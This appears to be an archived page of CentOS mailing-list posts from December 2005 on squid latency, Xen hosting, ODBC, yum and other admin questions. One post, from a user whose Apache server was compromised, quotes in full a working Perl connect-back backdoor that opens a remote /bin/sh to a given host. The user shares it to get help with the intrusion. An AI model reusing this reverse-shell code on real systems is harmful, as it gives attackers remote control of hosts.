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34753 discussions

slow responding firewall server
by Peter Farrow 05 Dec '05

05 Dec '05

Hi There, I recently suffered a serious hardware failure on one of my firewalls, (motherboard died), this machine was originally a redhat 9 box, on an Athlon 2200 with 512Megs RAM, this machine was doing the following jobs for a small network at a relatives house: Firewall (IPTABLES) Transparent proxy (squid) Sendmail smarthost IMAP mail server SAMBA file server IPSEC tunnel to my home. The only machines I had to replace it with were an Intel SC5000 chassis with twin PIII 1GHz CPUs on SCSI RAID (1 Gig RAM) and a compaq PII 450 (512Megs) software RAID on IDE 40Gig drives. So I installed Centos 4.2 on both, split the IMAP and SAMBA onto the SC5000 and put the firewall, Squid and sendmail smarthost on the Compaq. The system is connected to the net via a 2Meg Line. While each of these machines easily copes with the jobs they have to do, I have noticed (or rather my relative noticed and I agreed) that web browsing now has a high latency. i.e. you go to a new web page, there is a substantial pause, before the page starts to load (substantial a few seconds, whereas previously it was instant). DNS is all ok and working fine, there are no delays there. The DSL line shows very little latency from the net and outgoing from the lan. I note that squid uses a fair amout of CPU on the PII450 from time to time, but can't seem to get a handle on what is causing the delay. The only thing I can think of is that the PII450 running squid is just slow compared to the old Athlon box and I am reaping the "benefits" of that. I do find that hard to believe though, since the box isn't running X or anthing else extra. I also notice that sometimes some downloads, particularly large ones just seem to grind to a halt after a few megs, and sometimes then carry on a bit later if left, right up to full speed of the line. During this slowdown, the latency of the line even with large pings is fine, so I am sure the connection is good. Is Centos4.2 now so heavy that a PII450 is not enough for a transparent proxy and smarthost.... Any comments/ideas are welcome... Pete

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Apache/PHP Security Help.
by Ajay Sharma 05 Dec '05

05 Dec '05

I have a personal apache/mail server that is getting hacked and I'm not sure how the person is getting in. What's happening is that every few days, the below script will show up in /tmp as 'dc.txt', owned by apache and then a TON of mail is queued up to a bunch of addresses in @uol.com.br. I initially thought they got in becuase I had an outdated version of 'gallery' installed. I rebuild the server and update gallery and thought I should be okay. But now they are still getting in and instead of blindly rebuilding the server, I need to figure out how they are able to run perl scripts on the server. Any suggestions? --Ajay PS. This is a CentOS 4.2 box running the latest apache/php RPMS. --------------------------- #!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>\n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . "\0" x 4; exit(0); } print "[*] Datached\n\n"; --------------------------------

4 4

CentOS on Xen question (Xen Hosting)
by Sanjay Arora 05 Dec '05

05 Dec '05

List: I am considering getting a Xen based virtual server for providing static web-site, secondary MX & DNS. Pros & Cons? anyone? Minimal install from the centos server CD (centos will be the guest OS) with Apache, Selinux, Iptables, qmail, spamassasin, djbdns, clam, mysql, postgreSQL & INN. Any install issues? What should be the HDD & RAM requirement, in addition to my database size & say 10 GB for mail? Also, how much bandwidth saving can I get with say 10 MB mail (from mailing lists) and script to compress and get it by rsync? Secondly, is it possible to compress news server feed & batch download in compressed format, reliably. I am trying to save on extra bandwidth costs here in India. Also, can someone recommend and Xen Virtual host provider on my direct email address...anyone who is small & can do a bit of hand-holding initially...without a big dollar denominated bill ;-) Small shoestring budget..a very very small shoestring ;-) With best regards.

4 3

RE: [CentOS] Permission Denied: /proc/cpuinfo
by Marc Powell 05 Dec '05

05 Dec '05

> -----Original Message----- > From: centos-bounces(a)centos.org [mailto:centos-bounces@centos.org] On > Behalf Of Mark Sargent > Sent: Sunday, December 04, 2005 10:38 PM > To: CentOS mailing list > Subject: [CentOS] Permission Denied: /proc/cpuinfo > > HI All, > > why do I get the below, > > [root@status1 ~]# /proc/cpuinfo > -bash: /proc/cpuinfo: Permission denied It's not an executable program. Try 'cat /proc/cpuinfo'. -- Marc

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Scalix on CentOS
by Robert Moskowitz 05 Dec '05

05 Dec '05

www.scalix.com the community edition. I have not gone too far in, the system I would run it on won't be built for a week, but it lists Fedora Core 4 as one of the OS options. Also RH Enterprise 3 or 4. What do I select to install it on CentOS 4.2?

2 2

Permission Denied: /proc/cpuinfo
by Mark Sargent 05 Dec '05

05 Dec '05

HI All, why do I get the below, [root@status1 ~]# /proc/cpuinfo -bash: /proc/cpuinfo: Permission denied Cheers. Mark Sargent.

2 1

yum vs. Alert Notification Tool
by Alfred von Campe 05 Dec '05

05 Dec '05

I'm running CentOS 4.2 and my CentOS Network Alert Notification Tool has been "red" for over a week now. It's telling me that there is one package available for update, namely shadow-utils-4.0.3-58. However, a "yum update" tells me there are no updates available. I've checked a few of the mirrors and they only appear to have shadow-utils-4.0.3-53. At first I thought the mirrors may be a little behind, but it's been over a week, so I think something else is going on. Anyone else seen this? Alfred

3 5

CentOS and Dell Support
by Matt Morgan 05 Dec '05

05 Dec '05

I'm a fairly experienced RH and Fedora user and admin looking to try CentOS for the first time. I have lots of experience with Dell servers and I'd like to stick with them. Although I'm sure it's not always strictly enforced, Dell claims that it won't provide warranty hardware support on servers installed with an un-Dell-supported OS (basically, anything other Windows, RH, and Suse). Are other CentOS admins successful in getting Dell to support their hardware? How does it work--do you just tell them it's RH? Also, any recommendations for which Dell PERC or Dell SATA RAID adapters can I expect to work nicely with CentOS? If, on the other hand, Dell gives you trouble for CentOS installs, and you have recommendations for other server vendors, let me know. In particular, one that can provide on-site warranty support in Toronto, Canada, would be great. I'm only interested in i386 architecture, by the way. Thanks! --Matt

7 16

about php-ODBC , unixODBC, freetds and MSSQL server
by Roger Pe�a Escobio 05 Dec '05

05 Dec '05

maybe someone here can help me understand why I am getting this strange behaivor. I am connecting to a MS SQL server from PHP by the ODBC module, I use unixODBC-2.2.9-1, freetds-0.63-1.2.el4.rf and php-4.3.9-3.9 all but the freetds package came with CentOS-4.2 + updates the problem is that I am getting -1 from the odbc_num_rows(); function, I search the net and it looks that this is a very common problem with MS SQL server and unix ODBC driver, but, my surprise came when I use the isql command (came with the unixODBC package) and the number of rows is returned correctly in the same machine and with the same query. the following is the output from isql command: +--------------+-----------+---------------------------------------+ SQLRowCount returns 2516 2516 rows fetched SQL> then I look forward in the source files and I found that both clients (php module and isql) use the same function to get the number of rows: from isql.c : static void WriteFooterNormal( SQLHSTMT hStmt, SQLCHAR *szSepLine, SQLLEN nRows ) { SQLLEN nRowsAffected = -1; printf( (char*)szSepLine ); SQLRowCount( hStmt, &nRowsAffected ); printf( "SQLRowCount returns %d\n", nRowsAffected ); if ( nRows ) { printf( "%d rows fetched\n", nRows ); } } from odbc php module php_odbc.c : /* {{{ proto int odbc_num_rows(resource result_id) Get number of rows in a result */ PHP_FUNCTION(odbc_num_rows) { odbc_result *result; SDWORD rows; pval **pv_res; if (zend_get_parameters_ex(1, &pv_res) == FAILURE) { WRONG_PARAM_COUNT; } ZEND_FETCH_RESOURCE(result, odbc_result *, pv_res, -1, "ODBC result", le_result); SQLRowCount(result->stmt, &rows); RETURN_LONG(rows); } /* }}} */ so I get confuse, why an odbc client get the right result and the other don't if both use the same query, same odbc configuration, same libraries files, same driver (freetds) I am a complete newbie with odbc, MS SQL and freetds :-( and with very litle knowledge of php modules can anybody help me ? thanks in advance roger __________________________________________ Yahoo! DSL Something to write home about. Just $16.99/mo. or less. dsl.yahoo.com

1 0

OT ? Shell script
by Robert 05 Dec '05

05 Dec '05

Does anyone have an elegant solution for finding the date of the 3rd Monday each month and the date of the Sunday preceding? (Sunday shouldn't be beyond my capabilities, once the Monday part is worked out.) For the past several years, I've been handling the chore using a file with a manually input list of dates -- which is about as elegant as driving a tack with a sledge hammer.

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